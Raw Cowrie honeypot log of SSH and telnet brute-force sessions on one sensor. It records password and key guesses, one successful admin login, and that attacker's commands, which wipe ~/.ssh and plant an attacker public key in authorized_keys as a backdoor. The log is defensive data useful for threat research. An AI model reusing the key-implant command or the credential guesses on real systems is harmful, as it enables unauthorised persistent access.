{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:7c:d0:9f:5b:c6:52:24:6d:26:7d:9f:b6:ba:cf:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0r/Az0R+u5p7eMRbBw54Gll1HGaSFZE3fusdu12N+RlbztHXO2O5OS8sefN3ffCrGqe4N6AcRdrOK+9i9X8SS+98/LwUhAOfl1zT8u9tQcsAfwga3pQbLUMTZLTdJYbHFJm7Fy1T/u+O6n9Ee65tQNHlLnqeAwajTJBOi3A7QpQnlVZF9oAY6qbyQgp7TvVCX9vwhivsX8yBozp+hc0kY2JsCZUnlj8RY7Gco4ifWetI9y3Ih1YYn6nb3CB4w7zwVNfdxLSyq2X/onLB7ixmrvD+OpZQ6/5Jf/87ZOq3r3zY9DPcJitKHWCeSN2XbN5bAh0Acf6tvCQ0k1hTsR39X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:23.522043Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:09:54:04:bf:d6:d5:68:bf:43:13:1c:53:55:d9:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1EoTc9AwfedzAEGhpt71QE/odlujzOM6ocU+5VqnViJpAMjsiRHV11lIHuimNZrW0zv4SlflsorWIrP25RwIPdsW+xf/EARjZogUhMFp+BWfPe0k4NKi7cFxIMJCSAwxoYPruyKT1KoZ4I82tvBO3CSBisc+5IJadCCNzQNiKJ/uSUvouNgU3MEwq5LV+MMgPk14Wmmalq+6lqAARmFlBWDdC9C1XKV/Z0bolzupXOh2FY+SrqOmWnXZ3TaXiYX1yzfkLEG3rtVGV+BISQykNAtsvzNJYwR9H33XJ98LdtiYAoMNT10l8CQbqx0yHNW2MCUpxeMa2wNhsXKfaH54Sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:09:54:04:bf:d6:d5:68:bf:43:13:1c:53:55:d9:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:23.702464Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:09:54:04:bf:d6:d5:68:bf:43:13:1c:53:55:d9:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1EoTc9AwfedzAEGhpt71QE/odlujzOM6ocU+5VqnViJpAMjsiRHV11lIHuimNZrW0zv4SlflsorWIrP25RwIPdsW+xf/EARjZogUhMFp+BWfPe0k4NKi7cFxIMJCSAwxoYPruyKT1KoZ4I82tvBO3CSBisc+5IJadCCNzQNiKJ/uSUvouNgU3MEwq5LV+MMgPk14Wmmalq+6lqAARmFlBWDdC9C1XKV/Z0bolzupXOh2FY+SrqOmWnXZ3TaXiYX1yzfkLEG3rtVGV+BISQykNAtsvzNJYwR9H33XJ98LdtiYAoMNT10l8CQbqx0yHNW2MCUpxeMa2wNhsXKfaH54Sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:23.707077Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:cc:8b:67:d3:2d:8e:8a:c2:3e:db:7b:d1:b8:2b:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx8u/pYEqzOl5lyL3TaUxlZm6xGORS+VKuv0eFtzeOnNfJLLpNeR2mg4n5vYA2AnHHB661z8PGPg8xXg+G9rJJRD6jTK2RdeAEycxiacS9A/g4fvx4JGYHnK3hxsVMBkYBXyDLhLOeF+WEDSnZev6p49pSfTVwhaVAXxsbwZkC6w6pIQHXkUr0UVIiRyBKgamlswidFog1q/3hmRUPqg+frOvQjRGOruKsCKPiWi8dXnh50i5DT5z69d2fWp4IBd74p5bA+EqxcbMcaaKFosdWf+qjEtqHhZt2Qd9QQk2cvZeLtNJehF2OgQoqCB3YZZSn2r3+eQK2AUCrD7ZnpD5X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:cc:8b:67:d3:2d:8e:8a:c2:3e:db:7b:d1:b8:2b:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:23.890931Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:cc:8b:67:d3:2d:8e:8a:c2:3e:db:7b:d1:b8:2b:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx8u/pYEqzOl5lyL3TaUxlZm6xGORS+VKuv0eFtzeOnNfJLLpNeR2mg4n5vYA2AnHHB661z8PGPg8xXg+G9rJJRD6jTK2RdeAEycxiacS9A/g4fvx4JGYHnK3hxsVMBkYBXyDLhLOeF+WEDSnZev6p49pSfTVwhaVAXxsbwZkC6w6pIQHXkUr0UVIiRyBKgamlswidFog1q/3hmRUPqg+frOvQjRGOruKsCKPiWi8dXnh50i5DT5z69d2fWp4IBd74p5bA+EqxcbMcaaKFosdWf+qjEtqHhZt2Qd9QQk2cvZeLtNJehF2OgQoqCB3YZZSn2r3+eQK2AUCrD7ZnpD5X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:23.894633Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:9f:5e:e2:47:7d:59:da:de:66:67:8e:ba:9a:34:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1zffPlgqO4vfShziEbb2FIcQ1WfioMbeyA7Z1Nus4Hlp+XVhJ1C64QfcdW8wzU2NikGwgYZRKWy6Jvz4ZvPenixZ9gxYjvwgZswYUR57Q5XNOW4ROG7eOHY6REx7JvwyynCgl1O0dx21hZ75dlYNQmk/jDL9bUgvwDAqTVYu7V1pNU8UmYnM+fB52wpzNGX+LQkMkjJPkLRTOLjI80X1SXBZKR1+ELk3NeSg/8C/cqlLl8+koIPvuXvT8imeDyV6bXxDdPPgqJ6v6M08xfxdNHKL35TMPJYhVzYSHTI5Sk704W8jl/X9nqABzx9JefzyDZHCspe14LDl5yun6FC6h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:9f:5e:e2:47:7d:59:da:de:66:67:8e:ba:9a:34:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:24.075091Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:9f:5e:e2:47:7d:59:da:de:66:67:8e:ba:9a:34:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1zffPlgqO4vfShziEbb2FIcQ1WfioMbeyA7Z1Nus4Hlp+XVhJ1C64QfcdW8wzU2NikGwgYZRKWy6Jvz4ZvPenixZ9gxYjvwgZswYUR57Q5XNOW4ROG7eOHY6REx7JvwyynCgl1O0dx21hZ75dlYNQmk/jDL9bUgvwDAqTVYu7V1pNU8UmYnM+fB52wpzNGX+LQkMkjJPkLRTOLjI80X1SXBZKR1+ELk3NeSg/8C/cqlLl8+koIPvuXvT8imeDyV6bXxDdPPgqJ6v6M08xfxdNHKL35TMPJYhVzYSHTI5Sk704W8jl/X9nqABzx9JefzyDZHCspe14LDl5yun6FC6h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:24.079232Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:24.260945Z","src_ip":"45.252.188.23","session":"fb9fb1c7c043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":41964,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8726a8504f4","protocol":"ssh","message":"New connection: 43.156.28.136:41964 (159.203.135.109:22) [session: f8726a8504f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:24.406045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:24.411955Z","src_ip":"43.156.28.136","session":"f8726a8504f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.827696323394775,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:24.526127Z","src_ip":"152.42.224.71","session":"ace7b00ecc9d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:24.650539Z","src_ip":"43.156.28.136","session":"f8726a8504f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456..","message":"login attempt [root/Aa@123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:25.632096Z","src_ip":"43.156.28.136","session":"f8726a8504f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:26.873693Z","src_ip":"43.156.28.136","session":"f8726a8504f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":47914,"dst_ip":"159.203.135.109","dst_port":23,"session":"b87f135bcb17","protocol":"telnet","message":"New connection: 209.127.178.212:47914 (159.203.135.109:23) [session: b87f135bcb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:29.683806Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51166,"dst_ip":"10.17.0.5","dst_port":23,"session":"53039a7aeb17","protocol":"telnet","message":"New connection: 152.42.224.71:51166 (10.17.0.5:23) [session: 53039a7aeb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:31.656777Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":36188,"dst_ip":"159.203.135.109","dst_port":22,"session":"94a6134b563a","protocol":"ssh","message":"New connection: 103.188.177.46:36188 (159.203.135.109:22) [session: 94a6134b563a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:35.235377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:35.240812Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:35.490339Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":44864,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8906e57aa26","protocol":"ssh","message":"New connection: 102.210.148.92:44864 (159.203.135.109:22) [session: c8906e57aa26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:36.353023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:36.357783Z","src_ip":"102.210.148.92","session":"c8906e57aa26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadminadmin","message":"login attempt [admin/adminadminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:36.521501Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:36.602978Z","src_ip":"102.210.148.92","session":"c8906e57aa26","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:37.056149Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:37.059164Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:37.062505Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47570,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2728be84b4f","protocol":"telnet","message":"New connection: 152.42.224.71:47570 (10.17.0.5:23) [session: b2728be84b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:37.355490Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:37.571163Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1","message":"login attempt [ftpuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:37.615434Z","src_ip":"102.210.148.92","session":"c8906e57aa26","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:37.866652Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:37.869820Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:38.123913Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:38.127559Z","src_ip":"103.188.177.46","session":"94a6134b563a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":36198,"dst_ip":"159.203.135.109","dst_port":22,"session":"001ee0735075","protocol":"ssh","message":"New connection: 103.188.177.46:36198 (159.203.135.109:22) [session: 001ee0735075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:38.355839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:38.360913Z","src_ip":"103.188.177.46","session":"001ee0735075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:38.603020Z","src_ip":"103.188.177.46","session":"001ee0735075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:38.863663Z","src_ip":"102.210.148.92","session":"c8906e57aa26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.80571627616882,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:39.070302Z","src_ip":"152.42.224.71","session":"d748159a9747","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:39.599661Z","src_ip":"103.188.177.46","session":"001ee0735075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:40.515871Z","src_ip":"46.19.67.181","session":"4b443cb3b565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:51:40.843386Z","src_ip":"103.188.177.46","session":"001ee0735075","protocol":"ssh"}
